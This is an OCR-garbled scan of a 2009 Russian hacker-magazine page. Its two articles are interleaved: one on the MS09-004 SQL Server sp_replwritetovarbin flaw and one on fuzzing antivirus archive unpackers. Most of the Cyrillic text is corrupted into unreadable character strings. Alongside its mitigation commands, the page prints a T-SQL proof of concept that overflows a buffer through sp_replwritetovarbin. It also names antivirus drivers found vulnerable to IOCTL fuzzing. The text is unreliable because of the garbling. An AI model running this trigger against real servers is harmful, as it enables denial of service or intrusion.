..
0630p 3oKCnAOUTOB
-
O'S30p
OE30p
3:KCflAOUTOB
3KCnAOUTOE:
••
"
rl,;O
----
,•.----::::-.:----=:J I
_ .......
_ _ _ ""t::!
.... _
0I<Ul1
......... _
..-.
~
Dnfl{
YcneWHoe nOAKIlIO«eHl4e c nOMDl.L.\blO sqlplu5 K6a3e Orade TDnb He e30naCHYlO BHyrpe HIOIO n 0 enOJlb30SaH14H Bee Be
CT 14T
e
e4 0 nonblTK
nepe3am1C01 YKa3aTeJ15=l ¢YHKLI,VlIil. Ba>KHO nOHIIlM03Tb, "ITO JKcnIlQl<1T He I1MeeT
HIIlKaKo!il ueHHOCTL1, eCfllll xaKep He RBJ1ReTCR ,ll,OSepeHHbIM n0J1b30eaTefleM.
B .ne¢OJ1TOBO~
KOHcP"'rypauwlI3aRBfleHH3R xpaHIilMaR
npou,eAypa AOCTyflHa
Ka.>KAoMy aSTOplt13I1lpOeaHHDMy 8 6a3e nOJlb30GaT0J11O. ,AmI Toro, YTo6bl 3TO VlcnpaBIilTb, MQ}l(HQ Bblr,OJlHI4Tb Cl1e.o,yIOLlJ,IIl\13anpOC Ha
T-Sal:
EXECUTEmaster.dbo.SP_DROPEXT~NDEDPROC
'sp_
replwritetovarbin'
Ecm-t oHa, npaBAa. l.1MeeTCR, -
fbi nOJlY414Wb OW146KY HeS03MO)f(HOCHl
o6pa
60raTb lII(KfllO"leHt.1e no aApecy«Ox41414141».
Mibi!\tfflij Y~3BIo1MOCTb
He Kal.laeTC~ MS SQl Server 2008 B CBOIO 04epeAb, Microsoll
npl.1CBOlil118 YSl3BliIMoCTliIliI,o,eHTliItPliIKa41i10HHblYl HOMep «MS09-004» Mbl Y,QaJlIo1M xpaHIo1MYfO npou,e,o,ypy. ECJlIo1 He XOl.leWb TaK nocrynaTb, MO>KHO
[mlcrosofl.com/technet/securily/advisory/961 040.mspxl. ,qonOJ1HliITeJlb
npoCTO ee OTKJli04Io1Tb:
HylO liIH<py no KOTOpOMyTbl CMO>KeWb HaYlTliI BABa KJllilKa. DOJ1ee nOAPo6HO n041i1TaTb05 OTK11tO'-leHliIliI xpaHliIMblX np04eAYP MO>KHO 3AeCb (<<Removing
use [master]
an Extended Stored Procedure from SQLServen - msdn.microsollcom/
GO
en-uS!llbrary/aa215995ISQI 801 aSQxl.
REVOKE EXECUTE ON (sys) . [sp_replwritetovarbin) TO
05
(public] GO
ESETNOD32-06XOAAHAllIo13A
npOBepliITb Ham-lYliIe Yl'l3BliIMOCTItl MQ>KHQ CJleAYIOll.llilM C4eHapl4eM Ha T-Sal:
f.'1'flIlI. DECLARE @buf NVARC:-IAR(4JOO),
3al.lacrytO caMlil >Ke cpeAcTBa 6e30naCHocTlo1 cOAep;;<aT B ce6e yA3BliIMOC
@val NVARCHAR(4j,
Tl4. Hanplo1t~ep, Apal1Bepa cospeMeHHblx aHTl-1Sl-1pYCHbIX npoeKToB Kl-1WaT
@counter nIT
OWl46K8Mlil npl1 06pa60TKe >1CKJHOl.leHIo1I1, a TClK>Ke B pc:'8KLI,Ml-1 Ha GHeApeHl-1e aHOManl-1Y1. Tyr 1II Kaspersky Internet Security Ikl1.sys),
declare @retcode int,
@end~offset
101
Defence W2ll
[dwall.sysl. Avira Premium Security (avgntflt.sys), BitOefender Total
SET @buf = •
-=--nt.
Security 2009 [bdfndisf.sys), ZoneAlarm Security Suite Isrescan.sysJ. Panda Global Protection 2009IAPPFlT.SYS1, Internet Security 2009 (fsdfw. sysl. Ha3B8HHbie 06beKTbi 6bll1M nOpa>KeH bl c nOMOUJ,bKJ q>833vtHra IOCTL~
@vb_buffer varbinary,
3anpOCOB Cfl106blMLil MeTO,ll,aMlII BBOAa-ebIBo,n,a [0 KOTOpblX 5'l He TaK ,o,aBHO
@vb_bufferlen int,
ynOM~Hafl, onl-1CbISa5'l Y5'l3Bl-1MOCTb 8 ,n,pai1 sere PGPI. Ce~Yac >Ke TeMa s
@buf nVilrchar;
,n,pyrOM. nKl60~ aHTl<1Bt.1pyc nOAAep>KL-18aeT onpe,o,eJl€HHOe K0J1W1eCTBO
exec master .dbo. sp_replwritetovarbin 1,
pacnaKOBblBaHl-15'l TaKlIIX ¢>a~J10B pa3pa60T'-lMK.l-1 C1HT1II8\o\pyca '-laCTO nl-1wyT
apx~BHblX ¢>OPM8TOS ¢>a~.nOB IRAR,
ZIP, LHA 1II T.,ll,,). Dvt6J11olOTeKl-1 ,£VHl
8 AOKl1a,o,e Hac
@end_offset output,
CaMvt, \1 80T OHl-1-TO MoryT 6blTb no.o.aep>t<eHbl yR3Bl-1MOCT5'lM.
@vb_bufEer outp-:.It,
6YAyT l-1HTepeCOBaTb l-1MeHHO pacnaKOBll.ll-1 K\o1 apXl-1BHbIX tPopMaTOB <paYlJ108.
@vb_bufferlen output, .
B KayeCTSe MeTO,ll,liIK\1 npOSepK\1 Yl'l3B1<1MOCTeYl Mbl5y,o,eM lIIcnOflb30saTb re
SET@val = CHAR(Ox41)
Hepal\V11O ,n,8HHbIX. MeTOAbl reHepaLl,I-1l-1 MO>KHO p83.o.enlllTb Ha lIIHTel1l1eKTy
SE'f @counter = 0
aflbHble. Kor,ll,a y Hac eCTb cneLl,lII¢>lIIKaUIo1R TecTlIIpyeMoro ¢>opMaTa ¢>al1flOB,
WHILE @counter < 30CO
V1 HeV1HTeJl.neKTya.nbHble - Kor.o.a no,o,pa3yMesaeTCl'l. I.ITO Mbl HI'l4erO He
BEGIN
3HaeM 0 TeCTlIIpyeMoM ~opMaTe.
SET @counter = @counter + 1
SET @buf ::: @buf + @val
END
M
tffi ffl1 tl
KaK np8Bl-1JlO, npl-1l-1cnOllb30BaHl1lil HelilHTefllleKTyallbHoro MeTOAa reHepa L\l-1V1 Hy>KHO. 4T06bl,ll,0 H8'-laJla npo4eCCa reHep8L1,I'll-1 y Hac 6bl11 Hel1cnop4eH~
SET @buf ::: @buf + " , , ' '1' , , ' '1' , , ' '1' , ,
"1"
I'
'1",' '1",' '1",' '1",' '1'"
Hbl~ (l-1CXOAHbIYlIq>aYln
1. CJlYl.la~Hble ,o,8HHble. nO>Kanyi1, 0AlilH lot3 caMblX nplllMI'lTliIBHblX lil npOCTblx MeT0AOB. nepe3anlilCblBaeM 4aCTbAaHHbix l-1CXO,QHoro <pa~na CIlYl.lai1HblMlil
EXEC master .. sp_cxecucesql @buf XAKEP 05/125/ 09
AaHHbIM14.
~
047